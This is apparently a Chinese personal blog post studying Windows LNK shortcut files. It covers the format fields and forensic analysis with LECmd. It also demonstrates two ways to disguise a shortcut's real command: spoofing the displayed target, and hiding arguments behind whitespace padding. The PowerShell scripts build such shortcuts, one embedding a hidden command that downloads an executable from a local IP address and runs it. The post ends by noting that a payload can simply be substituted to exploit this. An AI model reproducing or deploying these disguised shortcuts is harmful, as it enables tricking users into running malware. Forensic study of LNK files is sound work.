LNK文件分析学习-1

介绍

LNK是Microsoft Windows用于指向可执行文件或应用程序的快捷方式文件的文件扩展名。LNK文件通常用于创建开始菜单和桌面快捷方式。

Lnk文件格式

较详细的分析可以参考:https://bbs.kanxue.com/thread-260953.htm#msg_header_h2_1
image.png

可以关注的项有:
CreationTime、AccessTime、WriteTime、sLinkInfo、RELATIVE_PATH、WORKING_DIR、ICON_LOCATION

LNK文件基本分析

查看属性:
image.png

属性栏信息欺骗:
image.png
这里假装notepad.exe是链接文件名表达的原本调用的程序(正常程序),cmd.exe为实际执行的恶意程序。这里我们可以通过修改lnk文件的文件选项达到将恶意程序名修改为notepad.exe的效果,即在属性面板里的目标里显示的是执行notepad.exe,但实际执行的是cmd.exe。
image.png
image.png
image.png
点击该链接后:
image.png

字符长度欺骗:
快捷方式>目标的最大长度只有260个字符。任何超过这个长度的东西都是不可见的。但是,命令行参数的最大长度是4096个字符,我们可以在执行的命令行中插入空格,超过目标字段展示的260字符的长度,之后则无法在上面的窗口中看到整个命令。
image.png
image.png

$file = Get-Content "C:\Users\zw1sh\Desktop\zwish.txt"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("C:\Users\zw1sh\Desktop\zwish.lnk")
$Shortcut.TargetPath = "%SystemRoot%/system32/cmd.exe"
$Shortcut.IconLocation = "%SystemRoot%/System32/Shell32.dll,21"
$Shortcut.Arguments = '                                                                                                                                                                                                                                       '+ $file
$Shortcut.Save()
$WshShell = New-Object -comObject WScript.Shell  
$Shortcut = $WshShell.CreateShortcut("test.lnk")  
$Shortcut.TargetPath = "%SystemRoot%\system32\cmd.exe"  
$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21"  
$Shortcut.Arguments = "cmd /c powershell.exe -nop -w hidden -c IEX (new-object net.webclient).DownloadFile('http://192.168.1.7:8000/ascotbe.exe','.\\ascotbe.exe');&cmd /c .\\ascotbe.exe"
$Shortcut.Save()

LEcmd工具分析:
https://ericzimmerman.github.io/#!index.md
image.png

同理,只需要把上述执行的命令换成payload即可利用。

posted @ 2023-07-31 23:58  zw1sh  阅读(485)  评论(0编辑  收藏  举报